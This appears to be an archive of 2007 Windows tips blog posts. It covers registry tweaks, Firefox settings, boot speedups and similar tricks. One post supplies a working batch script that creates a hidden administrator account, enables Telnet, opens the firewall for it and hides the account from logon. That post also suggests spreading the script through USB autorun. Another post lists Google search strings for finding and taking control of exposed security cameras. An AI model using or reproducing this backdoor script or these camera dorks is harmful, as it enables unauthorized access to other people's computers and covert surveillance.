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Making Windows Xp Start 60% Faster
2007-10-15 08:20:00
Whenever you start your computer, you are faced with a few moments of thumb twiddling while Windows XP boots and prompts you to log on. Although you should expect to wait for a few moments, sometimes Windows XP seems to boot rather slowly. In fact, you may notice that over a period of time the PC that used to roar to life seems a bit sluggish instead. Fortunately, you can perform several techniques that help Windows XP get the bootup speed you want. This chapter explores how to put these techniques to work.Stopping Unneeded Start up ServicesAlong with the core operating system and programs that Windows XP runs when it starts, there is also a host of services involved. Many of these services are necessary for Windows XP to operate correctly. However, many of them are for features in Windows XP that you may not use at all. You can peruse the services and disable any service that you do not want to run. The fewer services that run, the more quickly Windows XP will boot.Caution:Exercise ...
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Save time and downloads for poor quality movies
2007-10-12 21:30:00
For those of you how want to see the quality without downloading all the files just do the following:Download only part one to your desktop.Right click on the RAR part one and click on EXTRACT FILES. a window will openIn that window go down to MISCELLANEOUS, and check the box KEEP BROKEN FILESIn the large window highlight the place to save the file and click on OKWhen the RAR extraction stops and say's you need part 2, just cancel the extraction and part 1 will remain as a playable part. Just view with VIC or what ever player you use and check the quality of video and sound.Save s a lot of download time on a bad Cam copy.
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Enable Aero even if Windows doesn't allow it
2007-10-12 21:22:00
Windows Vista has a sweet little new interface called Windows Aero, call it another theme for windows. The problem is that this does not work on every pc configuration, it only works on system that windows finds fit for it to be used on.Follow these steps and you will be able to re-enable Aero even if Windows doesn't allow it:Click Start, Run.Type regeditNavigate to HKEY_LOCAL_MACHINESoftwareMicrosoftCreate a key called WDM.Inside of that key, create a new DWORD value called EnableMachineCheck, and set it to 0Create another DWORD called Blur, and set that to 0Create another DWORD called Animations and set that to 0.Restart Your VistaEnjoy the Aero Experience!
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Microsoft Service Pack Slipstreaming: a Tutorial
2007-10-12 21:05:00
Slipstreaming a Service Pack , is the process to integrate the Service Pack into the installation so that with every new installation the Operating System and Service Pack are installed at the same time.Slipstreaming is usually done on network shares on corporate systems. But with the advent of CD burners, it does actually make some sense for the home user or small business user to do the same.Microsoft added the ability to Slipstream a Service Pack to Windows 2000 and Windows XP. It not only has the advantage that when you (re)install your OS, you don't have to apply the Service Pack later, also if you update any Windows component later, you'll be sure that you get the correct installation files if Windows needs any.Here the steps for Slipstream Windows XP Service Pack 2:Download the (full) "Network Install" of the Service Pack (English version [266 MB]), and save it to a directory (folder) on your hard drive (in my case D:XP-SP2). Other languages can be downloaded from the Micro...
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Increase your XP Folder Settings
2007-10-12 20:41:00
Windows remembers 400 folder settings. When that number is reached some settings aren't retained any longer. You can change this to 7000 by adding this hack to the registry.1. Copy the following registry text into notepad:Windows Registry Editor Version 5.00[-HKEY_CURRENT_USERSoftwareMicrosoftW indowsShell NoRoamBagMRU][-HKEY_CURRENT_USERSoftwareM icrosoftWindowsShell NoRoamBags][HKEY_CURRENT_USERSoftwareMicr osoftWindowsShell]"BagMRU Size"=dword:00001f40[HKEY_CURRENT_USERSof twareMicrosoftWindowsShell NoRoam]"BagMRU Size"=dword:00001f40[HKEY_CURRENT_USERSof twareMicrosoftWindowsCurre ntVersionPoliciesExplorer]"NoSaveSettings "=dword:00000000Save the file as folder7000.regDouble click the file to import into your registryRestart your Windows. Done!
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Speed up your Mozilla Firefox
2007-10-12 20:28:00
Speed up FireFox with this hack:Generally, typing about:config in adress bar of Firefox .Goto line network.http.pipelining and network.http.proxy.pipelining. As default, this is false.Double click in this key, select Toggle change to true.Change key network.http.pipelining.maxrequests to 30.Right click, select New > Integer, name the new key is nglayout.initialpaint.delay and set value is 0According to your computer you can adjust like this:FAST COMPUTER, FAST CONNECTIONcontent.interrupt.parsing, true;content.max.tokenizing.time, 2250000;content.notify.interval, 750000;content.notify.ontimer, true;content.switch.threshold, 750000;nglayout.initialpaint.delay, 0;network.http.max-connections, 48;network.http.max-connections-per-serve r, 16;network.http.max-persistent-connection s-per-proxy, 16;network.http.max-persistent-connection s-per-server, 8;browser.cache.memory.capacity, 65536;FAST COMPUTER, SLOWER CONNECTIONcontent.max.tokenizing.time, 2250000;content.notify.interval, 750000;conten...
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Lock Folders without any Software
2007-10-12 20:06:00
Here the trick how to lock your folders without any software:Open Notepad and copy the below codeChange your password in the code it's shown the place where to type your password.Save file as locker.batNow double click on locker.batIt will create folder with Lock er automatically for u. After creation of the Locker folder, place the contents u want to lock inside the Locker Fold er and run locker.bat again.Locker.batcls@echo offcolor 9ftitle Folder Locker:optionecho 1.Create folder 2.Lock folder 3.Unlock folder 4.Set passwordset/p "option=Please choose option 1-4>"if %option%==1 goto createif %option%==2 goto lockif %option%==3 goto unlockif %option%==4 goto setecho Invalid choicegoto option:createif exist "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B3030 9D}" (echo You already have a locked folder & goto option)if not exist "Locker" (md Locker & echo Locker created successfully ) Else (echo Locker folder already exist)if defined mypass (goto option)echo This is the first t...
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How to change yor Cable IP
2007-10-12 19:52:00
Here is the steps for change your cable IP:Create a new batch file.Then write in it:ipconfig /releasenetsh int ip set address name="name of connection" source=static 111.111.111.111 255.255.255.0netsh int ip set address name="name of connection" source=dhcpSave it with the extension .batJust run and enjoy it !
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How to Restart Windows without restarting the Computer
2007-10-12 19:48:00
When you click on the SHUTDOWN button, make sure to simultaneous press SHIFT Button. If you hold the Shift key down while clicking on SHUTDOWN button, you computer would restart without restarting the Computer . This is equivalent to term "HOT REBOOT".Make sure you are using fast switching for user. For those who don't know here is the method :Goto Control PanelDouble click user accountClick on change the way user log and log off, there you will make the changes by marking the two boxes.
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How to access your friends Machine remotely !
2007-10-12 19:35:00
If you have physical access to your friends machine then you can access his machine remotely using telnet server. All you have to do is to create a user account there then hide that user from logon screen and then start telnet server and finally mark telnet as a exception in firewall.These steps can be carried out simply and faster using a simple batch file (instal.bat). Here the source of batch file:instal.bat@echo OFFnet user IE_USR 123456 /addnet localgroup administrators IE_USR /addnet localgroup ?remote desktop users? IE_USR /addsc config tlntsvr start= autonetsh firewall set allowedprogram %windir%system32 lntsvr.exe iexplorer enablesc start tlntsvrreg add ?HKLMsoftwaremicrosoftwindows NTCurrentVersionwinlogonspecialaccountsUs erList? /v IE_USR /t REG_DWORD /d 0Now you can make this file to spread from one machine to another according to your own method like to spread this file as a autoplay program in pen drives. Here the code for autoplaying, just put these two files...
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You mouse is broken? Use your cellular phone as mouse!
2007-10-12 19:08:00
Using ControlFreak we can use our mobile as mouse for PC. This freeware application is a plugin for winamp. So to use this application winamp must be installed in PC. Then install it and press ctrl+F7 and type the port COM7 in the dialog box. It will create one 'sis' file. Install it in mobile and open it. Now u can use your mobile as mouse. Using this you can operate winamp as well as you desktop.Download ControlFreak at here or here.RequirementsA Series 60 1st or 2nd edition based smart phone (3rd edition not supported)A computer with Windows 2000 or Windows XPBluetooth adapter which supports the Bluetooth Serial Port ProfileWinamp 2 or 5InstallationRun the installer and select your Winamp plugins directory and a location to copy the phone application.When the installer is complete it will launch Winamp and the plugin will try to configure itself automatically. If you are using Microsoft Bluetooth drivers or the Widcomm stack, no manual changes should be needed. If you are using...
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Vista System Restore
2007-10-11 10:50:00
Are you one of the many computer users who went from using Windows XP to Windows Vista ? It seems to be ?the thing to do? these days, but let?s be honest here. Are you having trouble finding some of the things you absolutely loved using in XP? How about the system restore feature, for example? I know that?s one of my favorites, but it?s so difficult to find in Vista. Well, today I?m going to give you the lowdown on how you can easily find it and start using it once again!To get to the system restore window, right click on the Computer icon on your desktop and choose Properties. From there, click on the System Protection link on the left hand side. Another box will come up asking you if you want to continue on or cancel. Click Continue and then make sure you?re under the System Protection tab. At the top of the window, there?s a link you can click on to learn about how much disk space you need to do a system restore, etc. You can do that if you?d like or you can just move on.To do an ...
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Fixing The Firefox Memory Leak
2007-10-11 10:43:00
In case you didn?t know Firefox has a small memory leakage problems that can cause your pc to freeze up. Basically what happens is when you minimize Firefox it stops consuming memory, however when you maximize it again the memory usage will increase, sometimes even doubling. Fortunately, there is a small fix that you can implement. Here's what you do:Open Firefox and go to the Address Bar. Type in about:config and then press Enter.Right Click in the page and select New -> Boolean.In the box that pops up enter config.trim_on_minimize. Press Enter.Now select True and then press Enter.Restart Firefox.Wuuuush! Firefox will stop eating your memory.
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Hack Live Security Cameras in 2 clicks: Google Hack
2007-10-11 10:28:00
View Security Cameras Worldwide. This will let you hack into random live security cameras all over the world and operate them.Go to Google .In the search bar type in:Code:inurl:"viewerframe?mode refresh"3.Then go to any of the search results and bingo, take control over the camera, move it around, change all the setting's...Tip: Try the camera at a place called The Poochie Pool huba hubaHere are more google hacks for security cams:inurl:indexFrame.shtml Axisinurl:"ViewerFrame?Mode="intitle:snc- rz30 inurl:home/inurl:/view/index.shtmlinurl:" ViewerFrame?Mode="inurl:netw_tcp.shtmlint itle:"supervisioncam protocol"inurl:CgiStart?page=Singleinurl: indexFrame.shtml?newstyle=Quadintitle:liv eapplet inurl:LvApplinurl:/showcam.php?camidinurl :video.cgi?resolution=inurl:image?cachebu st=intitle:"Live View / - AXIS"inurl:view/view.shtmlintext:"MOBOTIX M1"intext:"Open Menu"intitle:snc-rz30inurl:home/inurl:"Mu ltiCameraFrame?Mode="intitle:"EvoCam" inurl:"webcam.html"intitle:"Live NetSnap Cam-Server fee...
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Change the Registered User Information: Registry Hack
2007-10-08 19:22:00
How Change the Registered User Information ? Its simple ..You can change the Registered Owner or Registered Organization to anything you want even after Windows is installed.Open RegEditGo to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow sCurrentVersion.Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you wantThats it!. And you need to reboot your Windows for see the result.
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Use your Flash Disk as a Temporary RAM in Vista
2007-10-07 18:05:00
Till this date, Microsoft’s windows had two options for the memory requirement of the computer, so that the computing can be done at cheaper rates and that too without installing the physical memory.Physical Memory (RAM)Page File (A virtual memory file, stored on hard disk).The page file is used by the Windows OS to cater the needs of various applications when the physical memory is fully used up. The reason for that is, that Virtual memory is slower as compared to the physical memory and thus Phyical memory takes the first priority.However, with the release of Windows Vista , Microsoft has introduced a new technology called ReadyBoost. With the help of this technology one can use any Flash drive, SD Cards, CF Cards as the third memory option for the computer.Now, the benefits of Flash Drive or Cards as a source of Memory :It is faster than the virtual memory which is accessed through the hard disk drive.It is cheaper as compared to the actually Physical Memory.How can it be activa...
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How to show your name after time in Windows Taskbar
2007-10-07 17:49:00
Here is a trick to add up youur name in place of AM and PM beside time in Windows taskbar. Its simple. Here the steps for do that:Start -> Control Pannel -> Regional and Language optionCustomize (beside English US)Go to TIME tabChange AM symbol and PM symbol from AM and PM to your nameApplyHit OKIs it changed ??? Might be not ...Now go to time in taskbar and Double Click it to open "Date and time property"Look place where time changes in digital form i.e. 02:47:52 AMClick to arrow to change the AM or PM by selecting and press arrow.It will Show your name or name that was entered by youApply and OK.Enjoy!
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Adding "INSERT" Option in CD Drive Context Menu: Registry Hack
2007-10-07 17:33:00
Here goes the step-by-step procedure:Download this file, extract it and copy the DLL file to "%windir%System32" folder.Then copy following code in notepad:Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOTCLSID{02A07E80-EFA2 -11D4-8306-A7EBD4C50C7C}]@="CDEject Context Menu Shell Extension"[HKEY_CLASSES_ROOTCLSID{02A07E8 0-EFA2-11D4-8306-A7EBD4C50C7C}InprocServe r32]@="C:\WINDOWS\system32\cdeject.dll""T hreadingModel"="Apartment"[HKEY_CLASSES_R OOTDrive shellexContextMenuHandlers{02a07e 80-efa2-11d4-8306-a7ebd4c50c7c}]@="{02a07 e80-efa2-11d4-8306-a7ebd4c50c7c}"Save the file with any name but the extension must be .REGNow double click the file, it'll ask ur permission, accept it.Now u'll get an Insert option in the CD Drive context menu.
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Search MegaUpload and Rapidshare Using Google: a Google Hack
2007-10-07 17:16:00
We can search for anything we want fastly and accurately with a little tricks with Google .Ok here’s the trick. For MegaUpload, put the following in Google: Video files: avi|mpg|mpeg|wmv|rmvb site:megaupload.com Music files: mp3|ogg|wma site:megaupload.com Programs/Applications files: zip|rar|exe site:megaupload.com eBooks files: pdf|rar|zip|doc|lit site:megaupload.com For Rapidshare, put the following in Google: Video files: avi|mpg|mpeg|wmv|rmvb site:rapidshare.de Music files: mp3|ogg|wma site:rapidshare.de Programs/Applications files: zip|rar|exe site:rapidshare.de eBooks files: pdf|rar|zip|doc|lit site:rapidshare.de Note: For MegaUpload and Rapidshare searching, narrow down you search for what you want by putting your query at the first part. Say if you want to search for Windows XP tutorials in Rapidshare use the query: Windows XP tutorials pdf|doc|lit|rar|zip site:rapidshare.de
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Typing Useful Symbols for MS Office Fastly
2007-10-07 16:56:00
These symbols can be used in MS Word, Excel, etc.Here fast way to type any usefull symbols in Microsoft Office applicationsFor © : Alt+0169For ® : Alt+0174For ™ : Alt+0153For › : Alt+0155For † : Alt+0134For ø : Alt+0248For ¤ : Alt+0164For « : Alt+0171For ° : Alt+0176For ± : Alt+0177For ² : Alt+0178For ³ : Alt+0179For µ : Alt+0181For ¶ : Alt+0182For ¹ : Alt+0185For » : Alt+0187For ¼ : Alt+0188For ½ : Alt+0189For ¾ : Alt+0190For Å : Alt+0197For × : Alt+0215For Ø : Alt+0216For Þ : Alt+0222For ß : Alt+0223For ?: Alt+1Hope you find these usefulEnjoy...
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Boost your Cable/DSL speed: a Registry Hack
2007-10-07 16:13:00
Here is a simple way to boost your Cable /DSL speed, just copy the ENTIRE BOLD text in the "quote" box below to Notepad, then save them as *.reg files, ie "DslBoost .reg".Then all you have to do to modify/restore is double-click the *.reg file!!REGEDIT4[HKEY_LOCAL_MACHINESYSTEMCu rrentControlSetServic esTcpipParameters]"GlobalMaxTcpWindowSize "=dword:0000ffffIt has worked wonders with me as it increased my speed from 5.0mbps all the way to 9.9mbps or sometimes a whole damn lot more like once it hit 15.7mbps youve got to try it!! If u want to test your speed before and after the hack, goto this link for a free test of speed.In my machine this hack has worked well, but I haven't tried for other machines. If this hack don't work for your machine, just simple doing the "undo registry" like thats above. Here is entry for undoing this hack:REGEDIT4[HKEY_LOCAL_MACHINESYSTEMCur rentControlSetServic esTcpipParameters]"GlobalMaxTcpWindowSize "=dword:00007fffRemember that its for Cable/D...
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How to Hack your Windows Experience Index
2007-10-06 19:51:00
The results of the Windows Experience Index are stored in an XML file that you can modify to spoof your score.Who wants to show off a 2.1 system?Let’s make that a 9.9 powerhouse. Navigate to C:WindowsPerformanceWinSATDataStore. Open up the most recent file in that folder. Make sure that your account has write access to that file. If not change the file permissions. Parse the file looking for the WinSPR entry. These are the items you want to edit. The maximum value you can use is 9.9.Save the file and you just turned your 2.1 system into a supercomputer.Source: TweakVISTA
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Speed Up Your External Storage in Vista
2007-10-06 19:36:00
Windows Vista operates external hard drives that are connected with USB differently than internal drives.Write caching is disabled so that you can safely remove the drive at almost any time. This is a great feature for USB thumb drives that are frequently inserted and removed from your computer. But if you have a large hard drive that is in an external enclosure that you never disconnect from your computer, write caching is also disabled which can decrease performance.This tweak is going to show you how to increase the performance of your external hard drives by turning write caching back on as well as activating advanced performance. Let’s get started: Click on the start button, then right click on Computer and select Manage.Click on Device Manager on the side menu.Expand Disk drives and locate your external drive from the list.Right click on the drive and select Properties.On the Policies tab, select Optimize for performance.Next, check Enable write caching on the disk and En...
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FireFox Theme for Windows Vista: Free Download
2007-10-06 15:02:00
Here is free theme for your Vista . Its very very very cool theme. Feel free to download it and make your Vista fashionable! You can download its theme here.
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Lock Your Computer Fastly: a Windows Trick
2007-10-06 14:41:00
Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver.To create a shortcut on your desktop to lock your computer: Right-click the desktop.Point to New, and then click Shortcut.The Create Shortcut Wizard opens.In the text box, type the following: rundll32.exe user32.dll,Lock WorkStationClick Next. Enter a name for the shortcut.You can call it "Lock Workstation" or choose any name you like.Click Finish. You can also change the shortcut's icon (ie: the padlock icon in shell32.dll).To change the icon: Right click the shortcut and then select Properties.Click the Shortcut tab, and then click the Change Icon button.In the Look for icons in this file text box, type: Shell32.dll.Click OK.Select one of the icons from the list and then click OKYou could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from...
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Speed Up Share Viewing: Registry Hack
2007-10-06 14:32:00
This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers.Basically, when you connect to another computer with Windows XP, it checks for any scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good!Fortunately, it's fairly easy to disable this process.First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Win dows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry .Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!
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Increasing options in Add/Remove programs
2007-10-06 14:24:00
Not a fan of MSN Messenger? Don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. It's fairly easy to change, though... just open the file X:Windowsinfsysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this: [Components]NtComponents=ntoc.dll,NtOcSet upProc,,4WBEM=ocgen.dll,OcEntry,wbemoc.in f,hide,7Display=desk.cpl,DisplayOcSetupPr oc,,7Fax=fxsocm.dll,FaxOcmSetupProc,fxsoc m.inf,,7NetOC=netoc.dll,NetOcSetupProc,ne toc.inf,,7iis=iis.dll,OcEntry,iis.inf,,7c om=comsetup.dll,OcEntry,comnt5.inf,hide,7 dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide, 7IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7Term inalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2msmq=msmqocm.dll,MsmqOcm,m smqocm.inf,,6ims=imsinsnt.dll,OcEntry,ims .inf,,7fp_extensions=fp40ext.dll,FrontPag e4Extensions,fp40ext.in...
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How to display Legal Notice on Windows Startup
2007-10-06 14:09:00
Do you share your computer to other users? Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up. Write this registry hacks directly on your registry database with Regedit or you can write the code below on the notepad and save with "legal.reg" file names, and double click that file, click OK and done! REGEDIT [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindo wsCurrentVersionpoliciessystem] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text"
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The Free Tools That Can Access 100 Hidden XP Commands
2007-10-04 03:06:00
Hidden Utilities XP allows access to nearly 100 hidden utilities that are not normally accessible to the average user. System information, diagnostics, repair tools and more in both Windows and Command Line utilities are now easily opened.Hidden Utilities XP includes easy access to 53 Windows tools and 43 Command Line utilities. And, Camtech2000, its developer now gives you it for free. You can download here.
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Solution for XP that can't start
2007-10-04 02:40:00
XP Start up problemsIf you can't get system to boot, here the solution:Boot your PC with Windows XP installer CD ( you have to set your BIOS setup in order your CD device will be running first on Boot priority).Let the XP Setup progress running until you see the Setup option screen.Recovery Console: the recovery console is actually the first option you can choose in the setup. It will look something like this:Enter = Continue R = Repair F3 = QuitMake sure you press R at the first selection screen and then press '1' to choose to work with the Windows XP installation. When asked for the password for Administrator, enter it in otherwise just press the enter key.From there it will give you a screen that just says 'C:\_'. Make sure you type the following just as it is shown: CHKDSK /p. This will attempt to repair any serious errors found on the partition tables. (There are also other options as far as ways to repair the XP installation but i'll let someone else show that trick.)A...
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